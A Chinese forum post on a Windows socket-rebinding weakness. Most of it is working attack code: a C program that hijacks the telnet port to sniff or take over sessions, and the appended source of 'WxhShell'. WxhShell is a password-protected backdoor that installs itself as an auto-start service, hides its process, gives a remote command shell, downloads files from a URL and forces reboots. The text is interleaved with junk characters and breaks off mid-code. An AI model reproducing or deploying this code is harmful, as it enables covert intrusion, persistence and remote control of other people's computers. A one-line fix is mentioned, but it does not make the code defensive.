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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [.;$6C/?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]CyWL6 z  
^ sIxR*C[v  
  saddr.sin_family = AF_INET; {M: Fsay>p  
5|YpkY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dn/0>|5OF(  
=fa!"$J3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HU ]Yv+3   
j>XM+>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bnBnE[y<'  
(UWP=L1  
  这意味着什么?意味着可以进行如下的攻击: +r[u4?  
bTB/M=M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0-#SvTf>;:  
@? 4-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0eq="|n^|  
O~yPe.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +=#sa m*i  
W6f?/{Oo8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [*zB vj}G  
K~ gt=NH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r@L19d)J  
Q?Vq/3K;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +')\,m "z  
nxH=Ut7{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TJ9JIxnS  
uP bvN[~t  
  #include dr3#?%  
  #include 5 {cbcuG  
  #include <i34;`)b  
  #include    B3[;}8u>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PR?Ls{}p\  
  int main() 1~\YJEsb}d  
  { Up?w >ly  
  WORD wVersionRequested; d5&avL\  
  DWORD ret; UZsL0  
  WSADATA wsaData; bL\ab  
  BOOL val; O'y8[<  
  SOCKADDR_IN saddr; yHL2 !  
  SOCKADDR_IN scaddr; E5"%-fAJ  
  int err; 8Wx>,$k  
  SOCKET s; En$-,8\%  
  SOCKET sc; ]kUF>Wp  
  int caddsize; BL1$ ~0  
  HANDLE mt; F9(*MP|  
  DWORD tid;   /bm$G"%d  
  wVersionRequested = MAKEWORD( 2, 2 ); !4zSE,1  
  err = WSAStartup( wVersionRequested, &wsaData ); Dz$GPA   
  if ( err != 0 ) { V+My]9ki  
  printf("error!WSAStartup failed!\n"); urmx})=  
  return -1; M.|O+K z  
  } 71`)@y,Z,  
  saddr.sin_family = AF_INET; "<6X=|C  
   {xb8H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dLl/V3C6t  
lA}(63j+b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e]-bB#-A  
  saddr.sin_port = htons(23); LAqmM3{fA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M3- bFIt  
  { F|\^O[#R  
  printf("error!socket failed!\n"); x]o~ %h$  
  return -1; yT<6b)&*&  
  } TZ8:3ti  
  val = TRUE; ^hPREbD+f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "&(.Z(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C}grY5 :  
  { ST'M<G%4E  
  printf("error!setsockopt failed!\n"); }gw \w?/  
  return -1; k?-GI[@X  
  }  WK;X6`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M6J~%qF^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $g? ]9}p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 . 7WNd/WG  
W@<(WI3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AwrW!)n }  
  { 4^h_n1 A  
  ret=GetLastError(); Wj0=cIb  
  printf("error!bind failed!\n"); n[$bk_S  
  return -1; Cx(|ZD^  
  } " %$jl0i_c  
  listen(s,2); feg  
  while(1) fLM5L_S}Y  
  { :l~^un|<2Y  
  caddsize = sizeof(scaddr); UYJMW S=  
  //接受连接请求 u0^Vy#@_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )`;Q]?D   
  if(sc!=INVALID_SOCKET) c^$_epc*  
  { rN0G|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x'dU[f(  
  if(mt==NULL) 8w-2Q  
  { z8v]Kt&  
  printf("Thread Creat Failed!\n"); GZY8%.1{"a  
  break; 9z>I&vcX  
  } :&*Y Io  
  } =[]V$<G'w{  
  CloseHandle(mt); o@SL0H-6|  
  } fyYHwG  
  closesocket(s); \@IEqm6  
  WSACleanup(); !EO*xxQ  
  return 0; f;os\8JdM  
  }   s|*0cK!K^  
  DWORD WINAPI ClientThread(LPVOID lpParam) )IN!CmpN  
  { cE (P^;7D  
  SOCKET ss = (SOCKET)lpParam; 7wKN  
  SOCKET sc; FKhmg&+>  
  unsigned char buf[4096]; !h\.w9o[  
  SOCKADDR_IN saddr; b EB3 #uc  
  long num; ?\|QDJXY  
  DWORD val; ZBw]H'sT  
  DWORD ret; ?#N: a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >uHU3<2&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [ 6+iR  
  saddr.sin_family = AF_INET; +XL^dzN[|$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p5RnFe l  
  saddr.sin_port = htons(23); KO*# ^+g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z$#q'+$  
  { GWb=X cx  
  printf("error!socket failed!\n"); &<??,R14  
  return -1; ^y" #2Ov  
  } &Pk #v  
  val = 100; |qUi9#NUo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 25e*W>SLw  
  { OH.lAF4E(  
  ret = GetLastError(); 1!N|a< #  
  return -1; !e>+ O^  
  } O9%`G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r 7 dwj  
  { zVEG ) Hr  
  ret = GetLastError(); T'VZ=l[  
  return -1; (2 nSZRB  
  } EI+RF{IKh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "==fWf  
  { =rL%P~0wq  
  printf("error!socket connect failed!\n"); jh7-Fl`  
  closesocket(sc); A kMP)\Q  
  closesocket(ss); }57s  
  return -1; ZLP)i;Az  
  } ,|5|aVfh  
  while(1) Ez()W,6]g  
  { ]iI2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /x2-$a:<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4gR;,%E\TO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @k+&89@G  
  num = recv(ss,buf,4096,0); +Tf4SJ  
  if(num>0)  %XF>k)  
  send(sc,buf,num,0); B/Jz$D  
  else if(num==0) h7 r *5E  
  break; }4Q~<2  
  num = recv(sc,buf,4096,0); 3?%?J^/a  
  if(num>0) ]1Wh3C  
  send(ss,buf,num,0); w.7p D  
  else if(num==0) 9w)W|9  
  break; oz.#+t%X$b  
  } #uRj9|E7  
  closesocket(ss);  _'Jz+f.  
  closesocket(sc); }dv$^4 *n  
  return 0 ; 6&J7=g%G  
  } t,bQ@x{zVC  
>O;V[H2[  
X }V}%  
========================================================== gWK[%.Jnw  
8]@$7hy8  
下边附上一个代码,,WXhSHELL pY~/<lzW  
4D'AAr57  
========================================================== )6!ji]c N  
5%r:hO @S  
#include "stdafx.h" 7.mYzl-F(  
9Sey&x  
#include <stdio.h> If>bE!_BO  
#include <string.h> )44c[Z  
#include <windows.h> o=zr]vv  
#include <winsock2.h> l('@~-Zy  
#include <winsvc.h> f (Su  
#include <urlmon.h> e 48N[p  
R:+cumHr  
#pragma comment (lib, "Ws2_32.lib") s~p(59  
#pragma comment (lib, "urlmon.lib") ;_~9".'<d  
luWr.<1  
#define MAX_USER   100 // 最大客户端连接数 urbSprdF  
#define BUF_SOCK   200 // sock buffer TCWt3\  
#define KEY_BUFF   255 // 输入 buffer >%\&tS'  
$-i(xnU/nl  
#define REBOOT     0   // 重启 drwD3jx0xv  
#define SHUTDOWN   1   // 关机 <jAn~=Uq[,  
4 (c{%%  
#define DEF_PORT   5000 // 监听端口 m[}@\y  
ljP<WD  
#define REG_LEN     16   // 注册表键长度 B?nw([4m  
#define SVC_LEN     80   // NT服务名长度 (=-6'23q)  
`GUGy.b  
// 从dll定义API "Snt~:W>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pN4gHi=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?hmuAgOtbh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8wEUly  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A8X3|<n=  
\\ZCi`O  
// wxhshell配置信息 C~-.zQ$  
struct WSCFG { ?/}N  
  int ws_port;         // 监听端口 ;5 p;i 8m  
  char ws_passstr[REG_LEN]; // 口令 wJc`^gj  
  int ws_autoins;       // 安装标记, 1=yes 0=no :.P{}\/  
  char ws_regname[REG_LEN]; // 注册表键名 @ogj -ol&  
  char ws_svcname[REG_LEN]; // 服务名 }&LVD$Bz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J#?` l,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LrH"d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fW w+'xF!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l`<1Y|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k>)Uyw$!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J kxsua  
r"|UgCc  
}; 5AbY 59  
XiM d|D  
// default Wxhshell configuration XW.k%H4@  
struct WSCFG wscfg={DEF_PORT, Nu;?})tF  
    "xuhuanlingzhe", ^M)+2@6  
    1, 7G+E+A5o&  
    "Wxhshell", m:D0O]2  
    "Wxhshell", 6r.#/' "  
            "WxhShell Service", A2.GNk  
    "Wrsky Windows CmdShell Service", ~s{ V!)0  
    "Please Input Your Password: ", {)n@Rq\=v  
  1, Sq SiuO.D  
  "http://www.wrsky.com/wxhshell.exe", ` 7P%muY.  
  "Wxhshell.exe" 9e*o$)j_  
    }; m-2!r*(zt  
P''>wjMH0  
// 消息定义模块 ~l8w]R3A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JT! Cb$!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~p`[z~|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |ju+{+  
char *msg_ws_ext="\n\rExit."; b]4\$rW7  
char *msg_ws_end="\n\rQuit."; A<y]D.Z"  
char *msg_ws_boot="\n\rReboot..."; vW-o%u*  
char *msg_ws_poff="\n\rShutdown..."; <{T5}"e  
char *msg_ws_down="\n\rSave to "; pkf$%{"e  
P0/Ctke;  
char *msg_ws_err="\n\rErr!"; 2YQ;Kh"S   
char *msg_ws_ok="\n\rOK!"; ;4QE.&s`  
`\r <3?  
char ExeFile[MAX_PATH]; &`IJ55Z-)  
int nUser = 0; Y?6}r;<  
HANDLE handles[MAX_USER]; y(wb?86#W5  
int OsIsNt; _;,"!'R`f  
xpJ=yxO  
SERVICE_STATUS       serviceStatus; m al?3*x/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I|l5e2j  
9vP#/ -g  
// 函数声明 tlM >=s'T  
int Install(void); TkR#Kzv380  
int Uninstall(void); zZW5M^z8  
int DownloadFile(char *sURL, SOCKET wsh); 0g2rajS  
int Boot(int flag); P(.XB`  
void HideProc(void); ;@*<M\O  
int GetOsVer(void); vaLP_V  
int Wxhshell(SOCKET wsl); vScEQS$>  
void TalkWithClient(void *cs); n/{ pQ&B  
int CmdShell(SOCKET sock); 29^(weT"]  
int StartFromService(void); e'sS",o*  
int StartWxhshell(LPSTR lpCmdLine); Q@uWh:  
)3WUyD*UZN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IF  cre  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0RjFa;j  
o!lKP>  
// 数据结构和表定义 r>}z|I'  
SERVICE_TABLE_ENTRY DispatchTable[] = 5,pEJ>dDD3  
{ 3+\Zom4  
{wscfg.ws_svcname, NTServiceMain}, $Xh5N3  
{NULL, NULL} 0 ;].q*|#  
}; |l-O e  
RBfzti6  
// 自我安装 V,% K"b=  
int Install(void) IE3GZk+a~  
{ F1S0C>N?5  
  char svExeFile[MAX_PATH]; 1(pv 3  
  HKEY key; DL#y_;#3_  
  strcpy(svExeFile,ExeFile); 1*e7NJ/.,  
}; R2M  
// 如果是win9x系统,修改注册表设为自启动 X f{9rZ+  
if(!OsIsNt) { OnH3Ss$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )gD2wk(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K_n GZ/`[  
  RegCloseKey(key);  9I:3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N,Js8Z"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G?,"AA;  
  RegCloseKey(key); !*3]PZ25a(  
  return 0; AV4fN@BX  
    } XSCcumde!  
  } @ M4m!;rM  
} 4s9.")G  
else { If]rg+|U  
HRyhq ;C  
// 如果是NT以上系统,安装为系统服务 p({Lp}'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `Hq*l"8  
if (schSCManager!=0) ]a`"O  
{ |S~$IFN4  
  SC_HANDLE schService = CreateService K"[\)&WBG  
  ( +tlBOl $  
  schSCManager, ~xv3R   
  wscfg.ws_svcname, K%W;-W*'  
  wscfg.ws_svcdisp, dq%C~j{v  
  SERVICE_ALL_ACCESS, })`z6d]3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )w5!'W4Z8  
  SERVICE_AUTO_START, i8KoJY"  
  SERVICE_ERROR_NORMAL, -GMaK.4 =  
  svExeFile, i&p6UU  
  NULL, !xBJJ/K+|  
  NULL, ,@fx[5{  
  NULL, >4q6  
  NULL, `EfFyhG$  
  NULL =7#"}%4Q  
  ); '(SivD  
  if (schService!=0) t%O)Ti  
  { jo1z#!|Yw}  
  CloseServiceHandle(schService); f~,Ml*Zp  
  CloseServiceHandle(schSCManager); l8J2Xd @   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ei>iXDt  
  strcat(svExeFile,wscfg.ws_svcname); JIjo^zOXsc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?~IdPSY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^QjkZ^<dD  
  RegCloseKey(key); 4e?bkC  
  return 0; hT,rcIkg:  
    } '? -N  
  } y>:U&P^  
  CloseServiceHandle(schSCManager); `A5n6*A7  
} cs _  
} M6 8foeeN  
L0I |V[  
return 1; <CJy3<$u  
} +J~%z*A  
tSnsjd<6.  
// 自我卸载 HO_(it \  
int Uninstall(void) ?Q$a@)x#  
{ o~W,VhCP  
  HKEY key; GY %$7   
 ;q5|If  
if(!OsIsNt) { H|7XfM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *_d N9  
  RegDeleteValue(key,wscfg.ws_regname); *wsZ aQ  
  RegCloseKey(key); 4<vi@,s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l^KCsea#  
  RegDeleteValue(key,wscfg.ws_regname); j6};K ~N`  
  RegCloseKey(key); 4"3.7.<Q`  
  return 0; %!AzFL J|Z  
  } Vugb;5Vl  
} V rd16s  
} uix/O*^  
else { kma>'P`G  
pr1bsrMuL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )pe17T1|  
if (schSCManager!=0) )Z|G6H`c3  
{ n(|n=P:o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R#.H&#  
  if (schService!=0) e2K9CE.O  
  { &cd>.&1<2  
  if(DeleteService(schService)!=0) { FA;-D5=  
  CloseServiceHandle(schService); T$AVMVq  
  CloseServiceHandle(schSCManager); A0RSNAM  
  return 0; 'x<oILOG  
  } *0eV9!y  
  CloseServiceHandle(schService); Zy.ls&<:  
  } a1Q%Gn@R  
  CloseServiceHandle(schSCManager); sekei6#fi  
} $TS97'$  
} [Y?Y@x"MZ  
QSn18V>{  
return 1; x]`@%8Sm  
} @HSK[[?  
;<;~;od*/  
// 从指定url下载文件 '\+"3!$  
int DownloadFile(char *sURL, SOCKET wsh) Wv9L }@J  
{ * hS6F  
  HRESULT hr; Rjlp<  
char seps[]= "/"; Yh;(puhyA  
char *token; Lz p}<B  
char *file; 7-Oa34ba+  
char myURL[MAX_PATH]; ^ERdf2  
char myFILE[MAX_PATH]; KZ%us6  
1X`,7B@pz  
strcpy(myURL,sURL); =kzp$ i  
  token=strtok(myURL,seps); aJtpaW@  
  while(token!=NULL) Jw&Fox7p  
  { Ziub%C[oV  
    file=token; (fr=N5   
  token=strtok(NULL,seps); C@Go]*c  
  } ,FH1yJ;Y&  
u??ti OK{  
GetCurrentDirectory(MAX_PATH,myFILE); #d*gWwnx"  
strcat(myFILE, "\\"); vceD/N8  
strcat(myFILE, file); u<N`;s  
  send(wsh,myFILE,strlen(myFILE),0); q,%Fvcmx+e  
send(wsh,"...",3,0); /3tErc'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); olA+B  
  if(hr==S_OK) C^;8M'8z0  
return 0; L;y BZLM  
else = &?&}pVF  
return 1; rly%+B `/  
HRjbGc|[  
} 3&5b!Y  
I{WP:]"Yf  
// 系统电源模块 D/ sYH0.V$  
int Boot(int flag) l?rLadvc  
{ | 5:2?S2R  
  HANDLE hToken; _dz ZS(7M6  
  TOKEN_PRIVILEGES tkp; }p)Hw2  
\=[j9'N>  
  if(OsIsNt) { U <q`f-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Td)2Wt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c3ru4o*K  
    tkp.PrivilegeCount = 1; ~e]B[>PT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }&v-<qC^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HwZl"!;Mry  
if(flag==REBOOT) { HC1<zW[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nCp_RJu  
  return 0; e57R6g)4  
} <|?)^;R5!  
else { ~k?wnw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }{=}^c"t'  
  return 0; bJ1Nf|3~E  
} TXXG0 G  
  } {fHY[8su0  
  else { )bL(\~0g~  
if(flag==REBOOT) { n-],!pL^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ? daxb  
  return 0; 2kDv (".  
} JC-> eY"O2  
else { D)DD6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $w <R".4  
  return 0; -y|']I^ &  
} %8%|6^,  
} %#~wFW|]x  
CDXN%~0h  
return 1; T0"nzukd  
} i=]R1yP  
L-rV+?i`6f  
// win9x进程隐藏模块 izGU&VeB  
void HideProc(void) }$L1A   
{ WQze|b %  
Y<(7u`F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z~tdLtcX  
  if ( hKernel != NULL ) D.%%D%AdB  
  { VS ;y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +!px+*)bW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o<Mcc j  
    FreeLibrary(hKernel); _e ;b B?S  
  } *i#N50k*j'  
p-)@#hE  
return; pX*E(Q)@!  
} 3D!7,@&>3  
$ta JVVF  
// 获取操作系统版本 GD d'{qE6  
int GetOsVer(void) |6DJ5VFzD  
{ , %8)I("  
  OSVERSIONINFO winfo; p{W Amly  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?I? ~BWu  
  GetVersionEx(&winfo); D|m0Vj b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qC"`i}7  
  return 1; 6^V( C;5!  
  else =uNc\a(  
  return 0; $joGda  
} &qSf ~7/  
6SE^+@jR  
// 客户端句柄模块 =54D#,[B  
int Wxhshell(SOCKET wsl) hCF_pt+  
{ AB,(%JT/2{  
  SOCKET wsh; s-'~t#h  
  struct sockaddr_in client; EA1&D^nT  
  DWORD myID; ss}-YnG  
`v)'(R7){  
  while(nUser<MAX_USER) &8Vh3QLEx  
{ R@NFpiw  
  int nSize=sizeof(client); Z:>3AJuS_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | Z2_W/  
  if(wsh==INVALID_SOCKET) return 1; 'nh2}  
NF4(+E9g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s5+;8u9K  
if(handles[nUser]==0) ~vA8I#.  
  closesocket(wsh); KU{zzn;g  
else sb3z8:r  
  nUser++; KehM.c^  
  } zDtC]y'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >R6mI  
zA+0jhuG  
  return 0; gg^iYTpt  
} .E+O,@?<  
/ar0K9`c  
// 关闭 socket &Z!y>k%6  
void CloseIt(SOCKET wsh) yih|6sd$F  
{ 2Og5e  
closesocket(wsh); l/B+k  
nUser--; i<>%y*+@  
ExitThread(0); L>E;cDB  
} \?Z7|   
1pG|jT+Bi  
// 客户端请求句柄 x0{B7/FN  
void TalkWithClient(void *cs) S#oBO%!  
{ }1[s,  
/U!B2%vq_  
  SOCKET wsh=(SOCKET)cs; 8d8jUPFQ  
  char pwd[SVC_LEN]; _=`DzudE  
  char cmd[KEY_BUFF]; WHOy\j},V  
char chr[1]; 8jL^q;R_(  
int i,j; P*K"0[\n  
A Y<L8  
  while (nUser < MAX_USER) { *,:2O&P  
Ja 5od  
if(wscfg.ws_passstr) { g@s`PBF7`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,YBO}l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )p;t '*]  
  //ZeroMemory(pwd,KEY_BUFF); 8EdaqF  
      i=0; [bX ^_ Y  
  while(i<SVC_LEN) { dyf>T}Iy  
FW;}S9u3  
  // 设置超时 -:'%YHxX  
  fd_set FdRead; NT5##XOB  
  struct timeval TimeOut; hWFOed4C  
  FD_ZERO(&FdRead); 3dbaCusT$  
  FD_SET(wsh,&FdRead); :*[mvF  
  TimeOut.tv_sec=8; 4 $Kzh  
  TimeOut.tv_usec=0; +_*NY~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]3='TN8aQF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h@1/  
M[O22wFs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fJ _MuAv  
  pwd=chr[0]; R<Mp$K^b  
  if(chr[0]==0xd || chr[0]==0xa) { {: _*P TVk  
  pwd=0; =?+w5oI0  
  break; 'WmjQsf  
  } <vV"abk  
  i++; g@M5_I(W  
    } <3N\OV2  
j x< <h _j  
  // 如果是非法用户,关闭 socket rwW"B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "M2WK6?O5  
} #?D[WTV  
>d"\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i?@7>Ca  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Evg#sPu\  
QQ{*j7i)  
while(1) { {g1R?W\LZ  
:(/1,]bF  
  ZeroMemory(cmd,KEY_BUFF); EXH,+3fQp  
AB+lM;_>  
      // 自动支持客户端 telnet标准   >$CNR*}@  
  j=0; ~l] w=[ z  
  while(j<KEY_BUFF) { {6Nbar@3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L7GNcV]c  
  cmd[j]=chr[0]; /u9 0)x  
  if(chr[0]==0xa || chr[0]==0xd) { (vi^ t{k  
  cmd[j]=0; y,1U]1TP  
  break; lFIaC}  
  } =HIKn6C<  
  j++; ;O~FiA~`c  
    } 4L`,G:J,;  
N.]~%)K:{  
  // 下载文件 Yc~lYz+b  
  if(strstr(cmd,"http://")) { z(O*DwY#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x30|0EHYl[  
  if(DownloadFile(cmd,wsh)) A0;{$/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d!Y%7LmSE@  
  else yV L >Ie/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QZ7W:%r(4  
  } Xa ;wx3]t  
  else { "7Kw]8mRR  
&"T7KXx  
    switch(cmd[0]) { \SwqBw  
  YKayaI\*  
  // 帮助 ?*kB>U9e  
  case '?': { Er$&}9G+-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !nsr( 7X2  
    break; x#5[i;-c  
  } Q;=4']hYU  
  // 安装 [9~EH8  
  case 'i': { =x(k)RTDu  
    if(Install()) ^c.pvC"4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rP"Y.;s  
    else y/_=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }7{( o-  
    break; ##F$8d)q  
    } 9PO5GYU  
  // 卸载 4XJ']M(5;  
  case 'r': { G\k&s F  
    if(Uninstall()) KMfRMc&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Td7Q%7p:  
    else ;"9Ks.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &+oJPpHi\  
    break; |na9I6  
    }  >}]bKq  
  // 显示 wxhshell 所在路径 .v+J@Y a  
  case 'p': { aWLA6A+C&  
    char svExeFile[MAX_PATH]; (8o;Cm  
    strcpy(svExeFile,"\n\r"); uP8 cW([  
      strcat(svExeFile,ExeFile); k`[>B k%b  
        send(wsh,svExeFile,strlen(svExeFile),0); P$AHw;n[R  
    break; }waZGJLN  
    } ^:f)XZ  
  // 重启 }> C?Zx*  
  case 'b': { t)k;5B`> &  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LSXsq}  
    if(Boot(REBOOT)) 5OO XCtIKf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?%Y*?v  
    else { )ytP$,r![S  
    closesocket(wsh); QP!;Gwqr  
    ExitThread(0); 1{cF/ :o  
    } lSd tw b  
    break; sMJa4P>O@  
    } #%OS=.V  
  // 关机 v!<FeLW  
  case 'd': { -{d(~XIo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f1o^:}5x  
